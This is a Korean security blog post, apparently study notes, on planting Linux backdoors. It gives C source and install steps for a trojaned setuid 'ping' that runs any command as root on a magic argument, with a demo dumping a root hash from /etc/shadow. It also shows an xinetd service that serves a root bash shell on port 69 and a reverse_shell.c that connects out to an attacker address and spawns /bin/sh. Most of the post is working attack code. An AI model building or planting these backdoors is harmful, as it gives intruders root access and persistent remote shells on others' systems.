악의적인 SetUID 프로그램 작성
# vi /tmp/fake_ping.c
#include <stdio.h> #include <stdlib.h> #include <string.h>
/* 예제 코드는 지식 습득 용이며, 악의적으로 이용할 경우 본인에게 책임이 있습니다.*/
int main(int argc, char **argv) { setuid(0); if(!strcmp(argv[1],"ktest")) { system(argv[2]); exit(0); } char input_cmd[100]; int i;
memset(input_cmd,0,20); strcat(input_cmd,".");
for(i=0; i<argc; i++) { strcat(input_cmd,argv[i]); strcat(input_cmd," "); } system(input_cmd); } |
# vi /tmp/fake_ping.c
# cd /tmp
# which ping
# gcc -o fake_ping fake_ping.c
# cp /bin/ping /bin/ping.bak
# mv /bin/ping /bin/.ping
# mv /tmp/fake_ping /bin/ping
# ls -l /bin/.ping
-rwsr-xr-x. 1 root root 38200 2015-07-24 02:55 /bin/.ping
# chmod 4755 /bin/ping
# ls -l /bin/ping
-rwsr-xr-x 1 root root 7289 2019-10-01 01:11 /bin/ping
ktest 로 로그인
[ktest@localhost ~]$ .ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=49 time=42.7 ms
[ktest@localhost ~]$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
[ktest@localhost ~]$ cat /etc/shadow
cat: /etc/shadow: 허가 거부
[ktest@localhost ~]$ id
uid=500(ktest) gid=500(ktest) groups=500(ktest)
[ktest@localhost ~]$ ping ktest "cat /etc/shadow"
root:$6$iapdRq238tHmr6Gm$0mbTSfdngPUfxf6wL7QI/9GsS5.wnEhoxxKeDIt.3gcX9WEDg84fqinktFl3rj9pjCT0orhEcl7OrVuJjMybh/:18117:0:99999:7:::
원상복구시킬 땐
# cp /bin/.ping /bin/ping
netcat
- TCP/UDP 에서 문자열을 전송하고 전송 받을 수 있는 프로그램
- 지정되는 포트는 없고, 포트를 선언해 주어야 함.
# yum -y install nc
역할)
공격자 64 수신하는 nc nc -kl 6000
공격대상 minimal 송신하는 nc nc 공격자주소 6000
원격백도어 1]
nc,tftp를 이용한 백도어
공격대상에서 백도어를 실행 공격자가 공격대상의 주소를 입력하여 접속
공격대상]
# yum -y install tftp*
# yum -y install xinetd
백도어 작성
service tftp
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /bin/bash
log_on_failure += USERID
disable = no
}
# service xinetd restart
# netstat -antup | grep 69
공격자]
# yum -y install telnet-server
자동으로 xinetd
# nc 200.200.200.공격대상 69
reverse_shell.c
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
int main(int argc, char* argv[])
{
struct sockaddr_in server_addr;
int server_sock;
int client_len;
char buf[80];
char rbuf[80];
char *cmd[2] = {"/bin/sh",(char *)0};
server_sock = socket(AF_INET, SOCK_STREAM, 6);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr("공격자주소");
server_addr.sin_port = htons(atoi("9000"));
client_len = sizeof(server_addr);
connect(server_sock,(struct sockaddr *) &server_addr, client_len);
dup2(server_sock, 0);
dup2(server_sock, 1);
dup2(server_sock, 2);
execve("/bin/sh", cmd, 0);
return 0;
}
'INFOSEC > LINUX' 카테고리의 다른 글
Rootkit 감지 (0) | 2019.09.25 |
---|---|
Backdoor Rootkit (0) | 2019.09.25 |
Local Backdoor (0) | 2019.09.23 |
시스템 로그 분석 ( logrotate ) (0) | 2019.09.23 |
PAM (Pluggable Authentication Modules) (0) | 2019.09.19 |